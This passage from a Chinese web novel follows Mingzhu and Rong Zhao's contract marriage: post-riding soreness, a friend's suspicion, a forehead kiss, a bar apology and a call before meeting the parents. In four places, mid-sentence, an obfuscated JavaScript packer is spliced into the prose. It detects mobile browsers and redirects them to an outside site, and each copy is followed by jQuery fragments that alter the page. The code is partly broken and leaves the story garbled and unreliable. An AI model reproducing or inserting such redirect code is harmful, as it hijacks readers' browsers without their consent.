不能显露半分她比明珠马术精湛。
明珠会生闷气。
她今天是带明珠出来散心的。
13. 浑身疼
周一清晨,明珠在疼痛中醒来。
昨天她骑马何止是抛开了烦恼,还把自己的理智都扔了,容曌两次提醒她“人不休息马也该休息了”“小心明天肌肉疼”,她还来劲地继续骑。
骑马时为了保持平衡稳定,需要用上腰背、胯部、大腿、小腿的肌肉力量,她也知道,所以晚上回家后她用精油按摩放松了身体,又用筋膜枪放松了肌肉,结果就是高估了自己,现在好疼,两眼一睁就是后悔没听容曌的话。
偏偏她一睁眼又看到容曌穿着一身柔滑的桑蚕丝睡袍身段优雅地走出浴室,闲庭信步,神态从容。
明珠心里更来气了,从后悔没听容曌的话,变成了怨源头,怨容曌就不该叫她去骑马拍照,都怨容曌。
“你是在瞪我吗?”
容曌向明珠看了过来。
“……没有。”
人在屋檐下哪能不低头,明珠心里怨气乱冲,脸上却对容曌弯眼笑:“只是做了个梦,梦到被一只白天鹅咬了。”
容曌挑了眉:“打它了吗?”
她记得明珠嘟哝过说她像白天鹅,喜欢穿白衣服,喜欢游泳,还一脸高傲。
明珠知道容曌肯定反应过来了,笑眯眯地讨好:“没打,还抱起来亲了呢,那么漂亮的白天鹅,可不舍得打。”
容曌:“……”
又在口是心非了。
容曌去衣帽间换衣服,换好出来,明珠还窝在床上,她问明珠:“去吃早餐吗?”
明珠摇头都不想摇了,只有嘴巴在动:“不吃,不想动。”
容曌欲言又止。
明珠觉得容曌骂了她,骂她活该。
容曌戴着手表走到床边:“很疼?”
明珠装傻嘴硬:“什么疼?哦,你说肌肉疼吗,不疼,一点都不疼。”
前两天明珠赖床时会抱着被子翻来转去看手机或是在床上扑腾拉伸,今早已经持续十多分钟一动不动了。
容曌扣好表带,在饮水机前接了杯温水放到床头柜上:“我一会儿去上班,你在家按时吃饭,想吃什么了,或是少什么了,跟管姨说。”
明珠乖巧:“知道啦,容总好好工作赚钱钱,我在家会老实听话的。”
容总:“……”
不见得。
·
果然容曌上班一走,明珠就不老实听话了,管姨上楼哄了明珠两回起来吃饭或是起来拉伸缓解疼痛,明珠都嘴上撒娇说等会儿就起,结果等会儿也不起,拖了一小时又一小时。
管姨没辙了,发信息给容曌告状,四十分钟后,贺禅提着一袋子东西站在容曌卧室门口呆若木鸡。
“白明珠?白明珠你为什么睡在容曌床上?”
明珠差点以为自己出幻觉了,可这声音又太清晰响亮了,猛地坐起来,和门口的贺禅大眼瞪小眼。
贺禅:“?”
明珠:“……”
一分钟后。
管家阿姨微笑:“贺小姐,容小姐和明珠小姐已经领证了,结婚证。”
贺禅:“??”
明珠:“……”
五分钟后。
贺禅看着明珠和容曌的结婚证,眩晕得觉得自己好像身处另一个平行世界里:“你俩是假结婚吧?”
明珠嘴比脑袋快:“没有啊,是容曌追的我,大二那年她追的我,我们偷偷谈了两年恋爱,毕业分手,最近破镜重圆的。”
贺禅:“……”
真的假的啊,她不信。
十分钟后。
不管真的假的,贺禅都把明珠从床上拽了起来,明珠满脸痛苦地拉扯着自己一动就疼的身体下楼吃饭。
贺禅在英国读的是早教专业,回国后说得一口标准伦敦腔教小孩英文,贺老师上班时间很弹性,有时是流窜型的去不同幼儿园上课,有时是一对一玩游戏,她包里小红花贴纸一沓又一沓。
看明珠老老实实吃饭了,贺禅往明珠脸上贴了一朵小红花:“奖励你好好吃饭,吃完我陪你拉伸,拉伸完再奖励你一朵小花花。”
明珠:“……容曌让你来的吗?”
贺禅:“不然呢?”
她接到容曌电话说明珠骑马后浑身疼和不吃饭,管姨弄不了明珠,让她过来陪明珠,她一听容曌这话就气焰三尺高,之前容曌不承认、忽悠她,现在竟然还来找她!
然后她对容曌说“好的好的”就赶紧来了,路上还买了一堆新的桌游道具陪玩。
她觉得容曌和明珠互相合不来,也不是轻视对方,也没有明着争锋相对,就是好像有点似有若无的暗暗较劲,但又似乎也没有把对方当作敌人,总之两人气场奇奇怪怪的。
她没收到明珠回复的信息,担心容曌对明珠可能不上心,忘了或是怎样,没有及时把吃的玩的给明珠,就没有问,直接带了新的桌游来。
贺禅说:“一会儿拉伸完陪你玩桌游。”
明珠立即拿出容曌转交给她的那些玩的,包装盒才开了两个,还有没打开的:“先玩这个。”
贺禅意外:“容曌给你了啊?”
“给啦呀,吃的也吃啦。”
“……”
也是,容曌可能看明珠现在有点可怜,就都及时给明珠了。
而且容曌若是不想给明珠带东西就会从根上拒绝,若是收了,就会办到。
明珠说着,抬眼对贺禅说:“贺贺,谢谢你,特别谢谢你,我本想在微信上和你说谢谢的,但我那两天情绪不稳定,就没有回复你微信,而且我也更想当面和你说谢谢。”
贺禅眼窝浅,听不得这个,忙低头说:“说这个干什么,这么生分,以后不许说了……那个,那什么,不知道喝酒会不会缓解乳酸堆积?”
贺禅转移得太生硬了,明珠笑着用肩膀撞了一下贺禅,边觉得贺禅说喝酒的事好像有道理,拿起手机查,结果看到说会加重不适。
明珠:“破手机。”
贺禅乐着说:“是破,都不让你喝酒。”
俩人一顿瞎乐。
明珠饭后休息半小时,被贺禅拽起来在樱花院子里拉伸。
明珠对容曌家的樱花挺好奇的,是从小树苗种起的还是成年移植的,想了想没问,只欣赏漂亮的樱花,她从小就很喜欢樱花。
拉伸完又被管姨按着精油按摩和筋膜枪按摩。
终于完事儿,贺禅在岛台喝水,明珠在贺禅肩上放了朵樱花:“陪我出去一趟。”
“去哪?你怎么还戴假发了?”
“去我爸公司,不想被人认出来。”
·
明珠国际旅行社楼下的咖啡厅里,明珠这次见到了父亲的特助江鹤宇。
“确实是二老板在国外投建的项目出了问题,其实这两年大大小小的问题都没断过,项目总投资有八亿多,这两年营业亏损了近五亿,资金不回笼,越亏越多,连着其他项目的资金跟不上去,窟窿就越来越大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708793|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
江鹤宇在明珠给他下了一个又一个套后,无奈说了实话。
明珠心底发沉。
其实二叔以前就坑过爸,可爸那个人,总是一次又一次相信二叔,可能很多男人都有这个问题。
“我爸说过接下来有什么打算吗?”
江鹤宇知道白家发生了什么事,有些事还是他帮白总安排的,他很同情面前的白明珠,尽量不叹气,稳重道:“白总说他有方案,等他从南俣市回来就会着手解决。”
明珠又了解了一些项目细节,之后拜托江鹤宇别跟她爸说她找过他的事,如果非要说,就说她是在回国前找的他,江鹤宇理解答应了,明珠道谢离开。
贺禅等在车里看手机,正看到群里有人说万苓被家里禁足了,众人正在七嘴八舌地八卦原因,见明珠回来,收了手机问:“见到江助理了?叔叔阿姨状态怎么样?”
明珠不想让贺禅跟着担心她家里的事,来的时候跟贺禅说她只是想问她爸的助理她爸妈现在怎么样。
明珠紧着鼻子给贺禅做了个鬼脸:“一边高兴一边难受呗,没事,接受这事需要时间,过两年就能好点了。”
“那你呢?你怎么样?”贺禅担心。
明珠昨天骑那么久的马,应该就是心里很难受在发泄。
明珠思量须臾,认真说:“想起来还是会难受鼻酸,但我在慢慢接受,贺贺,我没事,相信我,我会调整好的。”
“……那你要回你亲生父母那边吗?你和他们有联系了吗?”贺禅小心翼翼地问。
明珠立刻摇头:“不回,也没联系,他们对那个孩子不好,对我也不会好。”
已经过去好几天了,他们始终没有联系她,大约是在南俣和她爸妈周旋。
想向她爸妈要钱吧,明珠猜想。
贺禅轻轻地吸了下鼻子。
明珠听到了,笑着捂贺禅的眼睛:“我没事,我有你和容曌呢,等姜姜回来,我还有姜姜,有你们这么多人呢。”
贺禅逼回了泪意,暂时放了心,又往明珠脸上贴了个小红花:“奖励你,不管怎么样,你都有我们。”
“……谢谢。”明珠眼眶微湿。
“又说谢,你傻啊,再说谢就不理你了。”
“好,不说了。”
明珠笑着拍拍脸上小红花,也不摘下去,就留在自己的脸上,拿下假发散落开自己的红发用手指通开,按开窗吹风。
风吹过耳畔,吹拂起她茉莉香的发丝,发丝轻轻地飘着,眼里有浓浓的谢意,但也有些困惑。
她知道贺禅和姜姜是她的靠山,只要她说了,她们就会给她依赖的避风港。
只是不知道为什么,她若是依赖贺禅和姜姜,她好像会有心理负担,依赖容曌就很让她心安理得,甚至还有点莫名其妙的享受。
·
明珠和贺禅玩了一天,下午还陪贺禅去给小朋友上了一小时的课,两人在外面吃完晚饭回到容曌家,围着茶几玩桌游。
两人玩得专注,直到听见靠近的脚步声才抬头,同时呆住。
容曌穿着白色高领的针织衫和浅燕麦色的长裙,手里抱着一个插好玫瑰花束的透明花瓶,数量不多,大约五六朵,有细细长长的配草和圆圆小小的红豆装饰,她经过落地窗,粉红晚霞穿过樱花落在她侧颜上,像从一幅油画中走来。
明珠怔了几秒后先回神,招手笑:“容容你回来啦,你买花啦。”
14. 额头吻
明珠坐久了,身上肌肉又酸痛了,想要站起来朝容曌跑过去,但她疼得卡住动不得,就坐在原位仰头看容曌。
容曌走过来把花瓶放在茶几上,瞥了一眼没走并且此时瞪圆眼睛的贺禅,回答明珠:“一位老奶奶客户送的。”
明珠眼睛发亮:“漂亮,正好我喜欢玫瑰。”
“是么,”容曌仿佛不知道似的,“那刚刚好。”
明珠:“我喜欢,我从小就喜欢玫瑰,还有茉莉樱花,院子里的樱花我就好喜欢。”
容曌:“嗯,给樱花拍照了吗。”
明珠见缝插针:“没拍呢,没有设备。”
容曌:“手机不能拍照?”
明珠立刻仰脸卖穷:“手机拍的没有专业设备拍的好看。”
容曌:“是么,那就先用眼睛看吧。”
明珠:“……”
明珠瞪人。
贺禅像被雷劈了似的,她从来没见过她们俩这样友好的相处,自然得仿佛真是一对情侣,还有一种她插不上嘴的氛围,明珠好像在跟容曌撒娇,容曌好像在逗明珠,贺禅呆呆:“你俩,你俩。”
容曌好像才看到这儿还有一个活人似的,眼里淡淡地写着“你在啊,你还没走啊”:“怎么?”
贺禅词穷:“你俩,你俩。”
容曌:“你是鹦鹉?”
贺禅:“……”
贺禅终于反应过来了,在自己眼前挥了挥手,她们俩肯定是假的,她有什么惊讶的,直言道:“对了容总,我看明珠自己在家也挺无聊的,我就带明珠去我那儿住几天吧,我陪她吃饭陪她玩,这样她心情好了,你也清静了,就不麻烦你了。”
就不麻烦你了。
仿佛明珠和贺禅更亲一样。
容曌瞥了一眼正满脸乖巧看不出想不想和贺禅走的明珠,抬步坐到单人沙发上,拿起茶几上的湿毛巾擦手:“不方便。”
贺禅:“有什么不方便的?”
容曌乜她的一眼:“我们已婚。”
想和贺禅走的明珠明白了,容曌需要她继续配合。
“对,”明珠终于拖着酸疼的身体站起来,螃蟹走路似的横着过去坐到沙发扶手上,抱住容曌手臂撒娇告状,“容容,我今天说了一天,贺贺都不信我,好像我们俩有什么不正经的交易似的。”
贺禅:“……”
正常人都不会信好吧。
明珠和容曌两人一个像燃烧的小太阳,一个像冰冷的寒月,就算那结婚证货真价实,她也难以想象两人会互生爱意,互相看不上对方的某些行为才正常,比如明珠嫌容曌太自律,容曌嫌明珠太散漫。
贺禅侧头看她们俩,不自觉地进入审讯环节:“你俩有自拍合照吗?”
明珠立即问容曌:“骑马的照片你手机上有吗,给她看看。”
容曌配合着拿出手机翻出她俩刚从更衣室换好骑马服的照片给贺禅看了一眼,只一眼,就收回了手机。
虽然不是自拍,但是是合照。
贺禅还是难以相信,这两个人怎么可能会在她眼皮子底下谈恋爱呢?
贺禅看向两人手指:“婚戒呢,你们婚戒呢?”
明珠傻眼。
容曌淡道:“领证匆促,在设计中,不能糊弄。”
明珠配合点头:“对。”
贺禅忽然拍了一下脑袋,她傻啊,俩人都在她面前了,她还要什么证据:“那你俩亲一个,普通亲不行,舌吻那种,我就信。”
明珠:“……”
没等来容曌长辈起哄亲一个,竟然先等来了贺禅起哄亲一个。
明珠坐在沙发扶手上,比容曌高了一截,低头看容曌,容曌也在抬眼看她。
两人四目相接,明珠看到容曌对她轻轻地挑了眉。
容曌的眉形是柳叶眉,不够挑,更顺更柔和,不像她的新月眉,新月眉的眉峰稍高,而此时容曌挑起了眉。
仿佛挑衅。
明珠最受不了容曌对她的挑衅。
从以前到现在。
明珠咬牙伸手,抬起了容曌的下巴。
容曌是标准的鹅蛋脸,下巴圆润柔和,不像她的心形脸,心形脸下巴更尖一些,她现在用中间三指托着容曌的下巴,思绪忽然转了个弯。
容曌的圆润下巴好柔好软。
明珠的视线落在了容曌的唇上,容曌的唇看着也好柔好软。
明珠本来还想大刀阔斧地用力亲容曌一口,突然就不自觉地屏住了呼吸。
可是。
初吻怎么能在这种情况下发生。
容曌正静静地等着明珠的亲吻,没等来,已明白明珠不想。
“好了你们俩别演啦。”贺禅笑着打断她们俩。
明珠惊得手一抖,尴尬退后,装下巴痒挠下巴。
贺禅笑:“亲不下去是吧,就知道你们俩肯定谈了什么合作,好了明珠,跟我走吧,去我家住几天,你也不用收拾东西,我那儿什么都有,衣服也有,你穿我的。”
在她眼里,容曌在关心人方面不怎么样,比如她到容曌家,容曌都没让阿姨给她做杯咖啡什么的。
她怕明珠在容曌家住得不自在,也怕容曌对明珠照顾得不周到。
明珠小心翼翼地看容曌,满脸写着想去。
容曌站起了身。
明珠也跟着站了起来。
容曌看向贺禅,忽然叮嘱:“这几天按时吃饭,按时睡觉。”
贺禅:“……你叮嘱我还是叮嘱明珠呢?”
容曌不得不加上贺禅:“叮嘱你们。”
贺禅:“好吧。”
容曌又叮嘱了两句多吃蔬菜少喝酒,看贺禅和明珠都不放在心上的模样,心里暗叹,淡瞥贺禅:“你出去等着,我和明珠说两句话。”
“好的容总。”
贺禅迅速把桌游道具划拉到袋子里,拎着走了,然后站在落地窗那儿扒窗往里面看。
容曌垂眸看她特意去花店选的花。
明珠顺着容曌目光看过去,没话找话,指着圆圆红豆问:“这个是相思豆吗?”
容曌:“嗯。”
明珠:“可以吃吗?”
容
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708794|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曌皱了眉:“不可以,有剧毒。”
明珠:“哦,又相思,又剧毒,有点意思。”
好像跟爱情一样。
明珠漫无目的地想着什么是爱情。
“周六中午十一点多去我家,十二点开饭。”容曌看着心可能已经飞到酒吧的明珠,徐声说道。
明珠回了神,抬眼问:“我用准备送叔叔阿姨的礼物吗?”
“不用,我会准备好。”
明珠点头:“我知道了,那我周六早上回来。”
两个小时做妆造选衣服应该够用了。
容曌瞥了眼窗外的贺禅:“一会儿我让人收拾好你能用到的东西和衣服送到贺禅家,穿贺禅衣服总归是不方便。”
“这几天也会陆续送些水果礼品到贺禅家,既然我们领证了,你住她家,我总要谢谢贺禅对你的照拂。”
明珠听不出容曌这行为在贺禅那里会有什么暗示效果,只觉得容曌作为妻子演得好周到。
明珠扬起了笑,又黏人地抱住了容曌手臂:“容容你真好。”
容曌正要点头。
明珠笑眯眯地侧弯腰把脸贴在容曌手臂上:“像我亲姐似的。”
“……”
明珠:“以后不管你和谁二婚,都是那人的福气,真的。”
“…………”
贺禅在外面看着两人,意外两人竟然有点新婚分别的意思,轻轻敲了窗,示意别演了。
明珠这才放开容曌:“那我走啦。”
“嗯。”
明珠拿起手机转身往外走,忽然她手腕被容曌拉住,她诧异转身,容曌顺势搂住她纤柔的腰,明珠被搂得腹部往前一冲,双手按住容曌的肩上。
接着轻轻一吻迅速并结实地落在明珠额上。
明珠震惊发呆。
好软的唇,好柔的触感。
容曌竟然亲了她额头。
容曌一瞬即分,眸光轻掠过明珠的额头,状似亲昵地将明珠的碎发掖到耳后:“贺禅是我这边的朋友,她父母和我父母来往多,不用和她说实话,姜姜是你那边的朋友,可以和姜姜说实话,知道了吗?”
“……知道了,周六见。”
“周六见……既然你喜欢玫瑰花,花要拿着吗?”
“不拿啦,你留着吧,人家老奶奶送你的呢。”
·
明珠已经走了三天。
容光天镜的阿姨们先没了精气神儿。
明珠在家的时候,楼上楼下屋里屋外地蹿,红发就跟只到处飞的红蝴蝶似的漂亮显眼,蹿得阿姨们都跟过了年似的热热闹闹,虽然也忙忙叨叨的,但有意思。
这别墅里从没热闹过还好,这热闹过了,再恢复平静,就让人觉得格外冷清。
眼见到月末,管桐把四月份的预算给算了出来,四月份不同以往,她加上了小夫人在家的可能性支出,得抽容曌有空的时候向容曌汇报。
她们这些阿姨们,都会背地里叫明珠小夫人。
看到容曌下楼,管桐快步迎了上去,关心问:“小姐需要什么吗?”
15. 撑腰
容曌最近失眠失得厉害。
明珠睡在她身边那几天,她说不上是不忍睡还是什么,连续失眠。
明珠走了,她以为会睡得好一些,结果还是失眠。
容曌素颜更显清冷,走向厨房:“找点碳水吃。”
多吃点碳水看会不会有困意。
管姨记得汤阿姨烤了无糖饼干,端出来问:“这个可以吗?”
容曌看一眼,想到明珠喜欢吃甜食:“撒点糖霜吧,再给我一杯牛奶。”
管姨陆续把撒了糖霜的饼干、温热的牛奶和拿甜点的一次性手套放到中岛台上,之后适时递出预算表:“小姐,这是四月份的预算。”
容曌左手戴着一次性手套吃饼干,右手随意翻看预算,眸光微顿,第一次在预算上提出意见:“翻倍吧。”
管桐还没见识过明珠的消费能力,以为容曌是往多了说的,笑说:“好,多出的就放在五月继续用。”
容曌喝了口牛奶,没说翻倍也只会少不会多。
容曌平时事少,管家平时也事少,两人多年来相处融洽如家人,管家不知不觉地就叹了口气:“也不知道是因为明珠小姐不在家,还是又倒春寒了,感觉家里温度都凉了两度。”
凉了两度吗。
好像不止。
看容曌没有反驳,管家就知道容曌也觉得冷了:“我去调一下空调,但温度升上来需要时间,小姐要加件衣服吗?”
容曌思量片刻,看着三天就见花瓣边缘变枯的玫瑰花,漫不经心地说:“明珠的那件白色风衣收起来了吗,没收起来就那件吧。”
·
富岸路新开了一家酒吧,名叫墨仐,里面搞了不少新鲜的东西,从开业起就很热闹,门口还有一长串排队的人没进去,里面挤挤攘攘音乐震耳。
明珠点了不少名字新鲜的酒,她喜欢喝得要醉没醉热气上涌的感觉,特让她兴奋,库克船长蒙娜丽莎007这些游戏怎么玩都玩不够,正扯着嗓子加着花样儿和贺禅以及平时一起喝酒的朋友们大玩大笑大喝。
忽然贺禅碰了碰明珠胳膊,明珠笑着回头,跟着音乐摇摆边大声问:“怎么啦?”
贺禅指旁边,明珠顺着贺禅的视线看过去,蓦地停了笑。
桌旁站着一头短发的万晴,万晴一手拿着一瓶白酒,一手拿着两个白酒杯,微笑地看着明珠。
万晴是万苓的姐。
恰好此时,音乐像是被人打过招呼,音量降了下来。
明珠放下手中摇铃,皮笑肉不笑地拢了拢红发,一抹红色射灯照过来,明珠脸色泛红,却透着浓郁的冷淡。
万晴提酒走了过来,让明珠左边的女生让让,万晴坐到明珠身侧:“明珠,好久不见。”
贺禅立即要和明珠换座位,明珠按住了贺禅,荡着腿言笑晏晏:“万晴姐,是好久不见。”
万晴拧开桌上的一瓶矿泉水,倒进白酒杯里五分满,放到明珠面前,边说:“我听说万苓在马场遇到你的事了,也听说万苓和你说了一些不该说的话。”
明珠瞬间收回了笑,周围气压骤降。
万晴继续打开白酒倒进另一个白酒杯里,八分满,拿起来,向明珠以酒敬水说:“明珠,万苓她不懂事,很抱歉冒犯了你,让你不快,我已经批评过她了,她也知错了,我是万苓的姐姐,我有责任管教她,是我管教不严,我代万苓向你道歉赔罪,希望你别往心里去。”
说罢,万晴仰头干了这一杯。
万晴拿的是白酒品鉴杯,50ml的量,万晴连续喝了三杯,将近二两半。
明珠:“……?”
这是发生什么事了?
她了解的万晴是个很惯妹妹的姐姐,不然万苓不能被惯得那么没脑子。
万晴怎么突然向她敬酒道歉了?
贺禅忽然想起前几天在群里看到的万苓被禁足的事,她又听到万晴提到马场,有点反应过来了,她知道明珠和容曌去过马场。
贺禅在明珠耳边说:“万苓被禁足好几天了,是不是容曌给你撑腰了?”
明珠微讶。
容曌为她撑腰?
转瞬明白了,她是容曌的妻子,容曌是在为妻子撑腰。
明珠修长手指笑着拿起装水的杯子,抬腕,都倒了。
在场众人皆倒吸了口气,万晴眼皮跳了跳,脸色变僵硬。
明珠漫不经心地向里面倒了小半杯酒,而后拿起杯说:“说起那天的事,万苓出口伤人,确实让我难受到现在,谁叫我这人天生心眼小……不过万苓她又不是小孩了,怎么还能让晴姐和我赔罪呢?晴姐的心意我领了,这杯酒为晴姐喝,只为晴姐喝。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708795|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明珠仰头喝了半杯酒,喝空后扣到一旁,显然不会再喝的意思,热情笑问:“晴姐一起玩游戏吧?”
万晴明白明珠今天只是给了她面子,但万苓那边,还得万苓自己来向明珠道歉才行。
万晴点头笑:“确实,万苓是成年人了,确实该她自己过来当面和你赔罪……那我陪你们玩会儿?”
明珠却起了身,向贺禅要车钥匙道:“突然有点头晕,贺贺,你陪晴姐玩,我去车上坐会儿。”
贺禅多了解明珠,猜想明珠是要找个安静的地方给容曌打电话,递出车钥匙,她陪万晴玩,都是熟人,万晴今天已经低头丢面子了,做人留一线,不能让万晴太尴尬。
明珠上了贺禅的车,想都没想就打电话给管家阿姨问容曌电话号码,随便找了个理由说自己通讯录电话都不见了。
很快明珠给容曌拨去了电话,接着明珠很意外,容曌竟接得很快。
她在容曌那儿应该是陌生号码吧,容曌这么闲吗,随便接陌生号码?
“容容。”电话接通,明珠立即发嗲。
“嗯?”
第一次和容曌通电话,明珠忽然感觉容曌很有距离感,好像前几天的熟稔都不见了。
“我是明珠。”
“……白小姐声音这么好听,我听得出来。”
“……”
行,这回熟悉了,容曌又在讽刺她了!
说她声音不好听!
“身上还疼吗?”容曌状似平平淡淡地问。
“不疼啦,三天啦,已经好啦。你想我了吗容容?我好几天没陪你睡觉,没看到你漂亮的脸,我都想你啦,可想可想了。”
“……有事?”听着就不是真想。
明珠噘了噘嘴,继续发嗲:“我遇到万苓的姐姐了,她代万苓向我道歉,但我没松口,说想让万苓亲自来道歉……容容,是你为我出气的吧?谢谢你,你人真好。”
你人真好。
容曌:“嗯。”
明珠:“嗯嗯。”
容曌有半分钟没说话,再开口时,声音像染了醉意,蕴着轻幽的散漫:“那么明珠小姐,打算怎么谢?”
明珠:“?”
她以为容曌会说“为合法妻子出气,不足为谢”之类的话,容曌竟问她打算怎么谢?
16. 第 16 章
怎么谢?
明珠的思绪不知不觉地堵塞了。
她没想出她能怎么正经地答谢容曌,倒是想到了怎么不正经地答谢容曌。
可是她们俩现在的关系,她也只能在心里嘀嘀咕咕而已。
于是明珠先恳切地说了句眼前能办到的:“容容,周六那天,我一定会好好表现,努力让叔叔阿姨喜欢我,绝对不让你失望。”
容曌有十几秒没说话。
“容容?”
“……信号不好,听到了,谢谢。”
“客气啦,都是我应该的。”
“嗯。”
“对了,容容,我写的本子你好好看看,尤其里面关于我的内容,别到时候你跟我对不上词。”
“嗯。”
听到容曌两句不咸不淡的“嗯”的明珠:“……”
感觉出容曌好像不太喜欢她的谢礼,明珠轻声问:“那你希望我怎么谢你?”
容曌:“……你好好表现就谢礼了。”
明珠:“……”
这不还是同一个结果吗。
明珠简短说了结束语就挂了电话,嘀嘀咕咕地骂了一会儿容曌态度好冷淡。
回到酒吧,明珠给她和贺禅的卡座买了已点的酒的单,还行,不太贵,刚花了不到五千。
贺禅和朋友们是过来陪她玩陪她散心的,她不能让贺禅买大单,但贺禅不买单又会不高兴,所以再玩二十分钟喝一点酒,让贺禅买个小单刚刚好。
明珠回去继续热热闹闹地喝酒,另一边的容光天镜里,容曌正在书房翻看明珠写的本子。
夜色寥寥,容曌披着明珠的白色风衣,撑着侧额,缓缓地翻着页。
手边放着半杯酒,已是第二杯。
就没见过这么气人的人。
·
周六一大早,合栀公寓。
明珠洗完澡随意吹了吹头发就顶着素颜要走了,贺禅开车送她回去,顺手提起明珠的行李箱进电梯,行李箱上面还有一个大手提袋。
这行李箱和手提袋里装的是容曌让人给明珠送来的剩的吃的用的,也有贺禅装好的东西让明珠带走的。
“周末这两天我给小朋友上课,你也忙你的,周一你再过来玩。”
贺禅教英语的,周末正是课多的时候。
明珠一乐:“听着好像你家是托儿所似的。”
贺禅也一乐:“可不么,形象,就跟托儿所一样么。”
两人闲聊着出了电梯,贺禅拖着行李箱往自己车位走,忽然临时停车位那边响起一道按喇叭声。
前天晚上万晴道歉后,万苓还没来道歉,听说是嘴硬不想来道歉还在家里禁足,贺禅听到喇叭声,没看到车,就认为是万苓来了。
结果这辆车开过来,车窗打开,明珠一喜:“向姐,你怎么来了?”
向茜穿着皮靴下车:“容总让我过来接你,就不麻烦贺小姐再特意送你一趟了。还有容小姐让我给贺小姐父母带的东西,感谢贺小姐照顾明珠小姐。”
说着,向茜递出两个礼盒,礼物不重也不轻,红色盒子,明着标是长罄山野人参。
贺禅接过两个礼盒,嘴上道着谢,脑袋里边飞快地闪过了什么东西。
容曌怎么好像真把明珠当老婆了?
明珠很快上了车,挥手说:“贺贺我走啦,祝你今天上课的小朋友都听话。”
贺禅笑:“走吧,也祝你今天能得到公婆的喜欢。”
“那肯定的。”
明珠笑盈盈的脸逐渐被车窗遮去。
地下停车场里,贺禅看着已经消失的车尾巴,眼前忽然闪过明珠睡在容曌床上的画面。
不对劲。
太奇怪了。
贺禅忽然睁大眼睛。
不是吧,不能吧?
·
快到容曌家大门了,明珠忽然有了一种“回家了”的奇妙感受。
但在进了院子后,明珠瞬间失落:“樱花都落了啊?”
她是18号来的容曌家,今天是29号,转眼11天过去,樱花的花期也就半个月左右,已经掉了一大半。
“可不吗,到时候了,开完就落了,”向茜听出明珠小小的惆怅,宽慰道,“但花谢抽新枝,这树上已经长出小绿芽了,接下来就都是生机勃勃的绿色了,各季有各季的美,好吃的也多了。”
明珠被宽慰到了,失落的惆怅心情顿消,笑着跟向茜聊吃的,没聊两句,到了别墅门前,明珠先进门。
客厅多了两个人和一排衣服,茶几上摆着彩妆用品和一些珠宝首饰,那两个人似乎是来给她做妆造的老师。
“管姨,容容呢?”明珠先问。
管家微笑道:“容小姐在楼上,让明珠小姐先做妆造,做完容小姐就下来了。”
明珠先和妆造老师认识,管姨介绍完毕,向茜也把行李箱和手提袋都拿了进来,明珠就先打开手提袋拿出两个袋子说:“管姨,这是我刚买的零食,有巧克力、坚果和烤虾干这些,你给两位老师和家里阿姨还有向姐分了吧,今天是周六,大家本该休息的,还辛苦过来帮我忙活,帮我谢谢大家。”
管家微微意外明珠准备了零食礼物,但转念一想,相处的那几天,明珠确实是个热闹又热情的人,微笑着接下,替大家道谢,边想家里无聊的阿姨们终于又能有意思了。
明珠又从手提袋里拿出另一个袋子说:“管姨,我先去楼上和容容说两句话,马上下来,等我五分钟。”
不等管家说话,明珠飞快跑上了楼,推门进卧室,没看到容曌人影。
经过衣帽间时,明
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708796|189222||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珠余光看到了一抹白,寻光向衣帽间里看去。
容曌背对门站在全身镜前,内衣带子在容曌纤细的背上压出了一道很轻的痕迹,薄背,纤腰,蜜桃臀,好美的一个性感背影。
容曌从镜中看到了明珠,背脊有微不可见的短瞬僵硬,随后从容不迫地将衬衫披到背上。
“怎么上来了?”容曌穿着衬衫,未回头地问。
明珠走进来欣赏容曌的背影。
容曌穿的是与肤色完全相同的内衣裤,她刚刚余光看过来时还以为容曌没有穿衣服。
穿衣看着清冷,脱下衣服后却好性感。
容曌衬衫衣摆不长,明珠大大方方地压低视线看容曌的腿:“想你了啊,四天没见了,容容你腿可真直真长,我怎么感觉你腰线好像比我高一些?”
说着就想撩开容曌的衬衫看腰。
“没有,错觉吧。”
容曌避开明珠的手,系着扣子说。
她若真比明珠的腰线高,明珠又要不高兴。
果然明珠听到是错觉就高兴了,笑得卧蚕都深了。
